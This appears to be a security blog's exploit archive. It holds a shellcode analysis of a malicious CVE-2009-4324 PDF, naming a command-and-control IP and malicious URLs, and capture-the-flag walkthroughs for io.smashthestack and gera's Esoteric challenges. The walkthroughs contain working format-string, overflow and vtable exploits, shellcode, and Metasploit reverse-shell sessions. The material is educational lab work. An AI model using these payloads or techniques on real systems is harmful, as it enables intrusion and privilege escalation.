Showing posts with label exploits. Show all posts
Showing posts with label exploits. Show all posts

Saturday, February 28, 2015

Shellcode Analysis of a CVE-2009-4324 Exploit

While researching a malware campaign during my day job, I stumbled across a PDF laced with CVE-2009-4324. As a lesson in learning, I spent a few weekend hours slogging through the shellcode assembly and these are my notes.

The MD5 of the PDF is a674f8b451634c156c0fbc748cec2093.

Shellcode Extraction

1) Extract the JavaScript from the PDF using peepdf:











2) Copy and paste the contents of the sc variable into a scratch Python program and run the following regex on it to convert from %u909" to \x90\x90 format:

re.sub("[\\%]u([A-Fa-f0-9]{2})([A-Fa-f0-9]{2})", r"\\x\2\\x\1", sc)

3) Write it out as binary to sc.bin.

Start of Shellcode











1) NOP sled to ep

2) Some anti-analysis where the 5 byte call calls ep+4 which is part of the call's opcodes

3) GetPC function sticks EIP into EDI

4) call find_kernel32

5) Following the call is a string containing:

kernel32.dll GetProcAddressLoadLibraryAws2_32.dll

Find Kernel32












1) Pop the address of the above string into EBP (address was pushed onto the stack by the call)

2) PEB

3) In module load order list

4) Loop through the modules starting from the last loaded module










1) Compare lowercase DLL name with kernel32.dll<space> (from string)

2) Once found, ESI will contain kernel32.dll's base address

Resolve Initial Functions









1) resolv_func_addr("GetProcAddress", 14)

2) resolve_func_addr("LoadLibraryA", 12)

3) LoadLibraryA("ws2_32.dll")
  • ESI = address of kernel32.dll
  • ECX = address of ws32_32.dll
  • EDX = address of LoadLibraryA
  • EDI = address of GetProcAddress
resolve_func_addr














1) Skip over PE DOS header

2) RVA and address of export table

3) Number of exports

4) RVA and address of function array

5) RVA and address of names array

6) RVA and address of ordinals array













7) Loop to compare the function name and length with names array entries

8) If found, index into ordinals array to get ordinal

9) Index into function array with ordinal to get function RVA

10) Add kernel32.dll base address and return function address

Disable DEP













1) LoadLibraryA("ntdll.dll")

2) GetProcAddress(ntdll.dll, "NtSetInformationProcess")

3) Bypass DEP via NtSetInformation(-1, 0x22, 2, 4)

Resolve Process Injection Functions









1) GetProcAddress(kernel32.dll, "OpenProcess")

2) GetProcAddress(kernel32.dll, "VirtualAllocEx")

3) GetProcAddress(kernel32.dll, "WriteProcessMemory")

4) GetProcAddress(kernel32.dll, "CreateRemoteThread")

5) GetProcAddress(kernel32.dll, "CloseHandle")

Set SeDebugPrivilege










1) Setup TOKEN_PRIVILEGES for later AdjustTokenPrivileges

2) LoadLibraryA("advapi32.dll")

3) GetProcAddress(advapi32.dll, "LookupPrivilegeValueA")

4) LookupPrivilegeA(0, "SeDebugPrivilege", Luid)

5) GetProcAddress(advapi32.dll, "OpenProcessToken")

6) OpenProcessToken(-1, TOKEN_ADJUST_PRIVILEGES, TokenHandle)

7) GetProcAddress(advapi32.dll, "AdjustTokenPrivileges")

8) AdjustTokenPrivileges() -- enable SeDebugPrivileges

9) LoadLibraryA("psapi.dll")

Find Explorer.exe













1) GetProcAddress(psapi.dll, "GetModuleBaseNameA")

2) LoadLibraryA("ntdll.dll")

3) GetProcAddress(ntdll.dll, "_stricmp")

4) GetProcAddress(psapi.dll, "EnumProcesses")

5) EnumProcesses()

6) Loop through processes

7) OpenProcess(each pid)

8) GetModuleBaseNameA(each pid) -- get filename

9) If process is explorer.exe

Inject into Explorer.exe












1) VirtualAllocEx in explorer.exe

2) WriteProcessMemory() in explorer.exe -- copy from find_kernel32 (0x1a) to right before call proc_inj (0x15c)

3) WriteProcessMemory() in explorer.exe starting from remote buffer+0x142 (right at call proc_inj) -- saved return pointer after call proc_inj to 0x6f9 (rest of the code).

2/3b Boils down to more or less copying itself into explorer.exe sans the process injection code

4) CreateRemoteThead() starting at find_kernel32

5) Some cleanup

6) ExitProcess() -- code is running in a thread in explorer.exe

Resolve Network Functions










1) GetProcAddress(ws2_32.dll, "WSAStartup")

2) WSAStartup()

3) GetProcAddress(ws2_32.dll, "socket")

4) socket(2, 1, 6) -- TCP

5) GetProcAddress(ws2_32.dll, "connect")

6) connect(66.192.70.35:443)

7) GetProcAddress(ws2_32.dll, "send")

8) GetProcAddress(ws2_32.dll, "recv")

Send







1) Send buffer is inline with the code, and its meaning is unknown to me:

"7fc2fff99bc9c21b54417ed85769".decode("hex")

1) send(socket, buffer, 14, 0)

Here is the packet on the wire:
















Jump Over Send Buffer









Recv


1) Receive 4 bytes -- size of the next recv

2) VirtualAlloc() -- of X size

3) Receive X bytes into buffer

4) Jump to buffer

Second Stage Shellcode

While the IP and port were open at the time of writing, I couldn't solicit a response. My educated guess is that it would be a second stage shellcode.

66.192.70.35

At the time of writing 66.192.70.35 resolves to 66-192-70-35.static.twtelecom.net. VirusTotal has hits on the IP for:
  • hXXp://www.banksrb.com/rpt/0e1bc7e54ae82b82/RHP-01MTuQ3xAOUnjvYMN11vNbcwaa/index.html
  • hXXp://banksrb.com/rpt
  • hXXp://banksrb.com/
Fancy VirusTotal Intelligence has a source of the PDF as:
  • hXXp://www.banksrb.com/rpt/9bc9c21b54417ed8/RHP039skcV1eik07SKYYFJEw2rgaa/index.html
#totalhash has 2 hits on the IP:

0x00000000 (00000)   7fcbffcf 6e6f636f 6f6b6965            ....nocookie

which is interesting because it starts with the same "7fc".

My IDA database is at https://github.com/tildedennis/exploits/tree/master/CVE-2009-4324.

Saturday, August 3, 2013

IO Level 9

Level 9 from io.smashthestack.org.

Classic format string vulnerability.

Popping off 9 pointers from the stack positions things to point to the beginning of user controlled data (As, Bs, and Cs).

level9@io:/tmp/dennis9$ ./level09 AAAABBBBCCCC%p.%p.%p.%p.%p.%p.%p.%p.%p
AAAABBBBCCCC0xbffffe8a.0x3ff.0x149d7c.0x149d7c.0xf0.0xf0.0x41414141.0x42424242.0
x43434343level9@io:/tmp/dennis9$


Changing the last %p format specifier to a %hn (write the number of characters written so far to its respective argument) causes a nice segfault when trying to write to the unmapped address. The "h" modifier restrains the write to a short (2 bytes).

(gdb) run `perl -e 'print "AAAABBBBCCCC" . "%p.%p.%p.%p.%p.%p.%p.%p.%hn"'`
Starting program: /tmp/dennis9/level09 `perl -e 'print "AAAABBBBCCCC" . "%p.%p.%
p.%p.%p.%p.%p.%p.%hn"'`

Program received signal SIGSEGV, Segmentation fault.
0xb7ecbaf2 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) x/i $eip
=> 0xb7ecbaf2 <vfprintf+17954>: mov    %dx,(%eax)
(gdb) x/x $eax
0x43434343:     Cannot access memory at address 0x43434343
(gdb) info reg edx
edx            0x4f     79


The target address to overwrite will be main()'s saved return address. It will be overwritten in two parts: the lower word then the upper word.

(gdb) break 9
Breakpoint 8 at 0x8048483: file level09.c, line 9.
(gdb) break 10
Breakpoint 9 at 0x804848f: file level09.c, line 10.
(gdb) info frame
Stack level 0, frame at 0xbffffcc0:
 eip = 0x804848f in main (level09.c:11); saved eip 0x450039
 source language c.
 Arglist at 0xbffffcb8, args: argc=2, argv=0xbffffd64
 Locals at 0xbffffcb8, Previous frame's sp is 0xbffffcc0
 Saved registers:
  ebp at 0xbffffcb8, eip at 0xbffffcbc
(gdb) run `perl -e 'print "\xbc\xfc\xff\xbf" . "BBBB" . "\xbe\xfc\xff\xbf" . "%p
.%p.%p.%p.%p.%p.%hn.%p.%hn"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /tmp/dennis9/level09 `perl -e 'print "\xbc\xfc\xff\xbf" . "BBB
B" . "\xbe\xfc\xff\xbf" . "%p.%p.%p.%p.%p.%p.%hn.%p.%hn"'`

Breakpoint 8, main (argc=2, argv=0xbffffd64) at level09.c:9
9               printf(buf);
(gdb) x/x 0xbffffcbc
0xbffffcbc:     0xb7e9ee16
(gdb) c
Continuing.

Breakpoint 9, main (argc=2, argv=0xbffffd64) at level09.c:11
11              return 0;
(gdb) x/x 0xbffffcbc
0xbffffcbc:     0x00450039


Since the address is being overwritten in two parts, two addresses are needed. The first %hn will overwrite the word starting at 0xbffffcbc with the number of characters written so far. The second %hn will overwrite the word starting at 0xbffffcbe, two bytes from the first one.

Now on to manipulating the number of characters printed to write an arbitrary value at the address. Specifying a minimum field width to a "%u" format specifier adds to the character count, so if the value 0x4141 is desired in the lower word, a format specifier like this will suffice (53 is the number of other characters already written).

(gdb) print /d 0x4141 - 53
$13 = 16652


For the upper word, if 0x6151 is desired, then the following (16652 from the previous math problem and 55 additional characters).

(gdb) print /d 0x6161 - 55 - 16652
$23 = 8222

(gdb) run `perl -e 'print "\xbc\xfc\xff\xbf" . "BBBB" . "\xbe\xfc\xff\xbf" . "%p
.%p.%p.%p.%p.%.16652u.%hn.%.8222u.%hn"'`
...
(gdb) x/x 0xbffffcbc
0xbffffcbc:     0x61614141


Next up is putting some shellcode into an environment and getting its address.

level9@io:/tmp/dennis9$ cat sc.py
nops = "\x90" * 50

# aleph one's shellcode from smashing the stack for fun and profit
shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x8
9\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xf
f\xff/bin/sh"

print nops + shellcode

level9@io:/tmp/dennis9$ cat level9e.c
#include <stdio.h>
/* progname must be the same length as level09 */

int main()
{
        char *envaddr;

        envaddr = getenv("EGG");
        printf("EGG is at %p\n", envaddr);
}


level9@io:/tmp/dennis9$ export EGG=`python sc.py`

level9@io:/tmp/dennis9$ /tmp/dennis9/le
EGG is at 0xbffffeaa


Finally, adjusting offsets for production. The number of stack pops required will change, the %u offsets will need to be recalculated and main()'s saved return address has to be adjusted.

level9@io:/tmp/dennis9$ /levels/level09 AAAABBBBCCCC%p.%p.%p.%p.%p.%p
AAAABBBBCCCC0xbffffe23.0x3ff.0x149d7c.0x41414141.0x42424242.0x43434343level9@io:
/tmp/dennis9$

(gdb) print /d 0xfeaa - 30
$1 = 65164

(gdb) print /d 0x1bfff - 32 - 65164
$2 = 49491

(gdb) run `perl -e 'print "\x5c\xfc\xff\xbf" . "BBBB" . "\x5e\xfc\xff\xbf" . "%p
.%p.%.65164u.%hn.%.49491u.%hn"'`
...
(gdb) x/x 0xbffffc5c
0xbffffc5c:     0xbffffeaa
(gdb) x/i 0xbffffeaa
   0xbffffeaa:  nop


And outside of the the debugger.

level9@io:/tmp/dennis9$ /levels/level09 `perl -e 'print "\x5c\xfc\xff\xbf" . "BB
BB" . "\x5e\xfc\xff\xbf" . "%p.%p.%.65164u.%hn.%.49491u.%hn"'`
...
sh-4.2$ id
uid=1009(level9) gid=1009(level9) euid=1010(level10) groups=1010(level10),1009(l
evel9),1029(nosu)
sh-4.2$ cat /home/level10/.pass

shhh don't snitch

Saturday, July 20, 2013

IO Level 8

Level 8 from io.smashthestack.org.

Uses operator overloading (TIL) which boils down to a normal virtual function.

The stack looks like this for a normal run:

(gdb) x/aw &five
0x804a008:      0x80488d8 <_ZTV6Number+8> -- five's virtual pointer (VPTR) to VTABLE
(gdb)
0x804a00c:      0x41414141 -- five.annotation[0]
(gdb)
0x804a010:      0x42424242
(gdb)
0x804a014:      0x0
...
0x804a06c:      0x0 -- five.annotation[99]
(gdb)
0x804a070:      0x5 -- five.number
(gdb)
0x804a074:      0x71 -- junk
(gdb)
0x804a078:      0x80488d8 <_ZTV6Number+8> -- six's VPTR to VTABLE
(gdb)
0x804a07c:      0x0 -- six.annotation[0]
...
0x804a0dc:      0x0 -- six.annotation[99]
(gdb)
0x804a0e0:      0x6 -- six.number
(gdb)
0x804a0e4:      0x20f21 -- junk


The VTABLE for both five and six looks like:

(gdb) x/aw 0x80488d8
0x80488d8 <_ZTV6Number+8>:      0x8048822 <Number::operator+(Number&)>


A pointer to the start of the overloaded operator function.

Here's what the border between five and six looks during an overflow:

(gdb) run `perl -e 'print "A" x 108 . "BBBB"'`
...
0x804a06c:      0x41414141 -- five.annotation[99]
(gdb)
0x804a070:      0x41414141 -- five.number
(gdb)
0x804a074:      0x41414141 -- junk
(gdb)
0x804a078:      0x42424242 -- six's VPTR
(gdb)
0x804a07c:      0x0 -- six.annotation[0]


The exploit theory for this one is more or less an implementation of  SMASHING C++ VPTRS (http://www.phrack.org/issues.html?issue=56&id=8).

Build a fake VTABLE in the beginning of the buffer with a function pointer pointing to the shellcode later in the buffer. Then overwrite six's VPTR
to point to the fake VTABLE in the beginning of the buffer. Here's some Python to create a template:

# fake vtable with a function pointer to shellcode
vtable_func_ptr = "X" * 4

# shellcode
shellcode = "\xCC" * 4

# filler
filler = "A" * (108 - len(vtable_func_ptr) - len(shellcode))

# pointer to fake vtabke
vptr = "B" * 4

print vtable_func_ptr + shellcode + filler + vptr


The easiest way to track down the address of five (x) is to set a break point after its space is allocated (via new) and look in eax.

(gdb) disas main
Dump of assembler code for function main:
   0x08048694 <+0>:     push   %ebp
...
   0x080486b0 <+28>:    movl   $0x6c,(%esp)
   0x080486b7 <+35>:    call   0x80485bc <_Znwj@plt>
   0x080486bc <+40>:    mov    %eax,%ebx
...

(gdb) break *0x080486bc
Breakpoint 4 at 0x80486bc
(gdb) break *0x08048720
Breakpoint 5 at 0x8048720
(gdb) run `python exp8.py`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /levels/level08 `python exp8.py`

Breakpoint 4, 0x080486bc in main ()
(gdb) x/aw $eax
0x804a008:      0x0
(gdb) c
Continuing.

Breakpoint 5, 0x08048720 in main ()
(gdb) x/aw 0x804a008
0x804a008:      0x80488c8 >_ZTV6Number+8>
(gdb)
0x804a00c:      0x58585858
(gdb)


Now to hardcoded the addresses (ease of use) and add some shellcode:

# fake vtable with a function pointer to shellcode
#vtable_func_ptr = "X" * 4
vtable_func_ptr = "\x10\xa0\x04\x08"

# shellcode
#shellcode = "\xCC" * 4
# aleph one's shellcode from smashing the stack for fun and profit
shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe
8\xdc\xff\xff\xff/bin/sh"

# filler
filler = "A" * (108 - len(vtable_func_ptr) - len(shellcode))

# pointer to fake vtable
#vptr = "B" * 4
vptr = "\x0c\xa0\x04\x08"

print vtable_func_ptr + shellcode + filler + vptr


Let's give it a whirl:

level8@io:/tmp/ds8$ /levels/level08 `python exp8.py`
sh-4.2$ id
uid=1008(level8) gid=1008(level8) euid=1009(level9) groups=1009(level9),1008(level8),1029(nosu)
sh-4.2$ cat /home/level9/.pass
shhh don't snitch


Monday, June 24, 2013

IO Level 7

Level 7 from io.smashthestack.org:

count is a signed integer, so a negative integer can be passed in. If a very large negative integer is passed in, the math problem in the memcpy() will cause the int to wrap around, back to positive territory. Here are some debugging printfs to help visualize how many bytes are actually being copied in the memcpy():


level7@io:/tmp/ds7$ ./level07 -1073741815 blah
count: -1073741815 (0xc0000009) 3221225481
count * sizeof(int): 36 (0x00000024) 36
Not today son

Bruteforce offsets a bit to get things to line up:

(gdb) run -1073741813 `perl -e 'print "A" x 40 . "BBBB"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /tmp/ds7/level07 -1073741813 `perl -e 'print "A" x 40 . "BBBB"'`
count: -1073741813 (0xc000000b) 3221225483
count * sizeof(int): 44 (0x0000002c) 44

Breakpoint 1, main (argc=3, argv=0xbffffd64) at level07.c:23
23              if(count == 0x574f4c46) {
(gdb) x/x &count
0xbffffcac:     0x42424242

Adjust offsets for production:

(gdb) run -1073741808 `perl -e 'print "A" x 60 . "\x46\x4c\x4f\x57"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /levels/level07 -1073741808 `perl -e 'print "A" x 60 . "\x46\x4c\x4f\x57"'`

Breakpoint 1, 0x08048467 in main ()
(gdb) x/x $ebp - 0xc
0xbffffc9c:     0x574f4c46

level7@io:/tmp/ds7$ /levels/level07 -1073741808 `perl -e 'print "A" x 60 . "\x46\x4c\x4f\x57"'`
WIN!
sh-4.2$ id
uid=1007(level7) gid=1007(level7) euid=1008(level8) groups=1008(level8),1007(level7),1029(nosu)
sh-4.2$ cat /home/level8/.pass
shhh don't snitch

IO Level 6

Level 6 from io.smashthestack.org:

Input templates:


first: AAAAAAAAAAAAAAAAAAAA (20 + \n)
last: BBBBBBBBBBBBBBCCCCC (19 + \n)

If input is greater than 20, the strncpy() in prompt_name() will truncate the string and it won't slap on a \0.

In prompt_full_name(), after reading both prompts, first = first + last, so the first strcpy() will copy 39 bytes into full name, plus 1 space, then 19 more bytes from the second strcpy() (enough to overwrite EIP).

Note: Need to fill the first read()'s buffer completely, else the second read() will pick up where it left off, mucking things up. New input template:

perl -e 'print "AAAAAAAAAAAAAAAAAAAA\n" . "Z" x 4075 . "BBBBBBBBBBBBBB\x01\x02\x03\x04C\n"' > in

Put shellcode into EGG environment variable, shellcode was very picky (no actual shells allowed):


level6@io:/tmp/dennis6$ cat sc.pl
my $nops = "\x90" x 50;

#dennis@ipa:~/msf3$ ./msfvenom -p linux/x86/exec -f pl -b '\x00' CMD='cat /home/level7/.pass'
#[*] x86/shikata_ga_nai succeeded with size 85 (iteration=1)

my $sc =
"\xdb\xd3\xd9\x74\x24\xf4\xbb\xc6\x34\x4f\xa3\x58\x29\xc9" .
"\xb1\x0f\x31\x58\x19\x83\xe8\xfc\x03\x58\x15\x24\xc1\x25" .
"\xa8\xf0\xb3\xe8\xc8\x68\xe9\x6f\x9c\x8f\x99\x40\xed\x27" .
"\x5a\xf7\x3e\xd5\x33\x69\xc8\xfa\x96\x9d\xdd\xfc\x16\x5e" .
"\x81\x9d\x62\x7e\x6a\x35\xe4\x13\x11\xea\x96\x8e\xaf\x91" .
"\x0a\x66\x7f\x77\xa3\xe9\x0c\xf4\x43\xbd\xa1\x73\xa2\x8c" .
"\xc6";

print $nops.$sc

level6@io:/tmp/dennis6$ export EGG=`perl sc.pl`

Get address of the EGG environment variable:

level6@io:/tmp/dennis6$ cat le.c
#include

/* progname must be the same length as /levels/level06 */

int main()
{
        char *envaddr;

        envaddr = getenv("EGG");
        printf("EGG is at %p\n", envaddr);
}

>>> len("/levels/level06")
15
>>> len("/tmp/dennis6/le")
15

level6@io:/tmp/dennis6$ ./le
EGG is at 0xbffffe97

Adjust the input template with return address:

level6@io:/tmp/dennis6$ perl -e 'print "AAAAAAAAAAAAAAAAAAAA\n" . "Z" x 4075 . "BBBBBBBBBBBBBB\x97\xfe\xff\xbfC\n"' > exp

level6@io:/tmp/dennis6$ /levels/level06 < exp
Please enter your first name:
Please enter your last name:
Welcome, AAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBB???C BBBBBBBBBBBBBB???C
shhh don't snitch

IO Level 5

Level 5 of io.smashthestack.org:


level5@io:/tmp/dennis5$ cat exp.py 
# aleph one's shellcode from smashing the stack for fun and profit
shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"

nops = "A" * (140 - len(shellcode))

# start of buf, from gdb
ret = "\xe0\xfb\xff\xbf"

print "%s" % nops + shellcode + ret

level5@io:/tmp/dennis5$ /levels/level05 `python exp.py`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?^1?FF  V
                     ? N?1??@??????/bin/sh????
sh-4.1$ id            ?
uid=1005(level5) gid=1005(level5) euid=1006(level6) groups=1006(level6),1005(level5),1029(nosu)
sh-4.1$ cat /home/level6/.pass
shhh don't snitch

IO Level 4

Level 4 of io.smashthestack.org:

level4@io:~$ cd /tmp/dennis
level4@io:/tmp/dennis$ cat id
#!/bin/sh
cat /home/level5/.pass
level4@io:/tmp/dennis$ export PATH=.:$PATH
level4@io:/tmp/dennis$ /levels/level04
shhh don't snitch

IO Level 3

Level 3 of io.smashthestack.org:

level3@io:/levels$ ./level03 `python -c 'print "A" * 80'`
This is exciting we're going to 0x41414141
Segmentation fault
level3@io:/levels$ ./level03 `python -c 'print "A" * 76 + "\x74\x84\x04\x08"'`
This is exciting we're going to 0x8048474
Win.
sh-4.1$ id
uid=1003(level3) gid=1003(level3) euid=1004(level4) groups=1004(level4),1003(level3),1029(nosu)
sh-4.1$ cat /home/level4/.pass
shhh don't snitch

IO Level 2

Level 2 of io.smashthestack.org:

level2@io:/levels$ ./level02_alt NAN
sh-4.1$ id    
uid=1002(level2) gid=1002(level2) euid=1003(level3) groups=1003(level3),1002(level2),1029(nosu)
sh-4.1$ cat /home/level3/.pass
shhh don't snitch

IO Level 1

Level 1 of io.smashthestack.org:

level1@io:/levels$ strings -el level01
SecretPW
level1@io:/levels$ ./level01 SecretPW
Win!

You will find the ssh password for level2 in /home/level2/.pass

sh-4.1$ cat /home/level2/.pass
shhh don't snitch

Signals #1-4

I'm putting Gera's Signals #1-4 on hold indefinitely. I gave them the ol' college try, but didn't make much progress after multiple attempts.

If anyone has anything on these, please ping me.

Up next, io.smashthestack.org. WARNING: there will be spoilers!

Thursday, December 27, 2012

Esoteric #5

gera's Esoteric #5. 

/* e5.c                                                      *
 * specially crafted to feed your brain by gera@core-sdi.com */

/* is this possible?                                         */

char buf[256];

int main(int argv,char **argc) {
        strcpy(buf,argc[1]);
        perror(argc[2]);
        while(1);
}


Needs to be compiled statically to get anywhere. It takes 268 bytes to overflow buf in a useful way.

(gdb) run `perl -e 'print "A" x 268 . "BBBB"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/dennis/es5/es5 `perl -e 'print "A" x 268 . "BBBB"'`

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) bt
#0  0x42424242 in ?? ()
#1  0x08048a1d in _IO_new_fdopen (fd=5, mode=0x80a2196 "w+") at iofdopen.c:121
#2  0x08048795 in perror (s=0x0) at perror.c:73
#3  0x0804820e in main (argv=2, argc=0xbffffa64) at es5.c:10
#4  0x080482fa in __libc_start_main (main=0x80481e0 <main>, argc=2,
    ubp_av=0xbffffa64, init=0x80480b4 <_init>, fini=0x8092620 <_fini>,
    rtld_fini=0, stack_end=0xbffffa5c) at ../sysdeps/generic/libc-start.c:129


At buf+268 is the same function pointer as in Esoteric #3, this time via perror(). 

(gdb) x/x buf+268
0x80a8d4c <__libc_internal_tsd_get>:    0x42424242


Exploit. 

[dennis@localhost es5]$ export ES5=`perl sc.pl`
[dennis@localhost es5]$ gcc -o ev5 ev5.c
[dennis@localhost es5]$ ./ev5
ES5 is at 0xbffffc28
[dennis@localhost es5]$ ./es5 `perl -e 'print "A" x 268 . "\x28\xfc\xff\xbf"'`

msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Sending stage (36 bytes) to 192.168.0.32
[*] Command shell session 2 opened (192.168.0.4:4444 -> 192.168.0.32:49773) at 2012-12-27 14:58:46 -0600

id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/es5

Esoteric #4


gera's Esoteric #4. 

/* e4.c                                                      *
 * specially crafted to feed your brain by gera@core-sdi.com */

/* %what the hell?                                           */

char buf[256];

int main(int argv,char **argc) {
        strcpy(buf,argc[1]);
        printf("live at 100%!");
        while(1);
}


As with the last one, this needs to be compiled statically to make progress.

[dennis@localhost es4]$ gcc -static -ggdb -o es4 es4.c
[dennis@localhost es4]$


1409 bytes are required to overflow buf in a useful way. 

(gdb) run `perl -e 'print "A" x 516 . "BBBB" . "C" x 889'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/dennis/es4/es4 `perl -e 'print "A" x 516 . "BBBB" . "C"
x 889'`

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) bt
#0  0x42424242 in ?? ()
#1  0x080486a4 in printf (format=0x808db88 "live at 100%!") at printf.c:33
#2  0x0804820b in main (argv=2, argc=0xbffff594) at es4.c:10
#3  0x080482f6 in __libc_start_main (main=0x80481e0 <main>, argc=2,
    ubp_av=0xbffff594, init=0x80480b4 <_init>, fini=0x808db60 <_fini>,
    rtld_fini=0, stack_end=0xbffff58c) at ../sysdeps/generic/libc-start.c:129


At buf+516 we're in the middle of a data structure called __printf_arginfo_table. Per a comment in  ~/glibc-2.2.4/stdio-common/reg-printf.c this is an "Array of functions indexed by format character." I didn't trace the libc code, but I'm assuming that buf+516 points to the corresponding array index if the format character is "!". 

(gdb) x/x buf+516
0x80a3b84 <__printf_arginfo_table+132>: 0x42424242


Exploit. 

[dennis@localhost es4]$ export ES4=`perl sc.pl`
[dennis@localhost es4]$ ./ev4
ES4 is at 0xbffffc28

[dennis@localhost es4]$ ./es4 `perl -e 'print "A" x 516 . "\x28\xfc\xff\xbf" . "C" x 889'`

msf > use multi/handler
msf  exploit(handler) > set PAYLOAD linux/x86/shell/reverse_tcp
PAYLOAD => linux/x86/shell/reverse_tcp
msf  exploit(handler) > set LHOST 192.168.0.4
LHOST => 192.168.0.4
msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Sending stage (36 bytes) to 192.168.0.32
[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.32:49768) at 2012-12-27 14:30:30 -0600

id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/es4

[*] Command shell session 1 closed.  Reason: Died from EOFError

Esoteric #3 Redux

An old Chinese forum post reminded me that I didn't look at a statically compiled version of gera's Esoteric #3. 

[dennis@localhost es3]$ gcc -static -ggdb -o es3 es3.c
[dennis@localhost es3]$


Things are a bit different this time. 

(gdb) run `perl -e 'print "A" x 256 . "BBBB" . "CCCC" . "DDDD" . "EEEE"'` ZZZZ
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/dennis/es3/es3 `perl -e 'print "A" x 256 . "BBBB" . "CCCC" . "DDDD" . "EEEE"'` ZZZZ

Program received signal SIGSEGV, Segmentation fault.
0x45454545 in ?? ()
(gdb) bt
#0  0x45454545 in ?? ()
#1  0x0804a36b in __libc_realloc (oldmem=0x0, bytes=88) at malloc.c:3350
#2  0x0804a0ab in __libc_realloc (oldmem=0x0, bytes=88) at malloc.c:3331
#3  0x0804866d in __add_to_environ (name=0x808db88 "ABO",
    value=0xbffffc71 "ZZZZ", combined=0x0, replace=1)
    at ../sysdeps/generic/setenv.c:234
#4  0x080488b2 in __setenv (name=0x808db88 "ABO", value=0xbffffc71 "ZZZZ",
    replace=1) at ../sysdeps/generic/setenv.c:263
#5  0x08048215 in main (argv=3, argc=0xbffffa64) at es3.c:10
#6  0x080482fe in __libc_start_main (main=0x80481e0 <main>, argc=3,
    ubp_av=0xbffffa64, init=0x80480b4 <_init>, fini=0x808db60 <_fini>,
    rtld_fini=0, stack_end=0xbffffa5c) at ../sysdeps/generic/libc-start.c:129


At buf+268 a useful function pointer get overwritten. 

(gdb) break 10
Breakpoint 3 at 0x80481fe: file es3.c, line 10.
(gdb) run `perl -e 'print "A" x 268 . "BBBB"'` ZZZZ
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/dennis/es3/es3 `perl -e 'print "A" x 268 . "BBBB"'` ZZZZ

Breakpoint 3, main (argv=3, argc=0xbffffa64) at es3.c:10
10              setenv("ABO",argc[2],1);
(gdb) x/x buf+264
0x80a3a88 <__libc_internal_tsd_set>:    0x41414141
(gdb)
0x80a3a8c <__libc_internal_tsd_get>:    0x42424242


(gdb) print __libc_internal_tsd_get
$2 = (void *(*)()) 0


As can be seen from the earlier backtrace, setenv() eventually calls realloc(). I didn't trace the libc code, but there has to be a code path from realloc() where it calls __libc_internal_tsd_get().

Onto the exploit. I start off with some shellcode in the environment. (I could of probably taken advantage of the ABO variable from the program itself, but it's easier to find the address this way.) 

[dennis@localhost es3]$ export ES3=`perl sc.pl`
[dennis@localhost es3]$ ./ev3
ES3 is at 0xbffffc28


The rest looks like this. 

[dennis@localhost es3]$ ./es3 `perl -e 'print "A" x 268 . "\x28\xfc\xff\xbf"'`

...

msf > use multi/handler
msf  exploit(handler) > set PAYLOAD linux/x86/shell/reverse_tcp
PAYLOAD => linux/x86/shell/reverse_tcp
msf  exploit(handler) > set LHOST 192.168.0.4
LHOST => 192.168.0.4
msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Sending stage (36 bytes) to 192.168.0.32
[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.32:49704) at 2012-12-26 23:40:41 -0600

id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/es3



Wednesday, December 26, 2012

Esoteric #3

gera's Esoteric #3.

/* e3.c                                                      *
 * specially crafted to feed your brain by gera@core-sdi.com */

/* are you an enviromental threat                            */

char buf[256];

int main(int argv,char **argc) {
        strcpy(buf,argc[1]);
        setenv("ABO",argc[2],1);
        while(1);
}

I might of cheated a bit with my solution, but I feel that maybe when this challenge was written that the version (even older than the glibc 2.2.4 I'm using for these examples) of setenv() used was more prone to memory corruption.

When ABO is not initially set, here's what the environ pointer and the area near the end of buf looks like after the strcpy() overflow.

Breakpoint 1, main (argv=3, argc=0xbffff974) at e3.c:10
10              setenv("ABO",argc[2],1);
(gdb) x/x environ
0xbffff984:     0xbffffc76

...
0x8049750 <buf+208>:    0x41414141      0x41414141      0x41414141      0x414141
41
0x8049760 <buf+224>:    0x41414141      0x41414141      0x41414141      0x414141
41
0x8049770 <buf+240>:    0x41414141      0x41414141      0x41414141      0x414141
41
0x8049780:      0x41414141      0x41414141      0x41414141      0x41414141
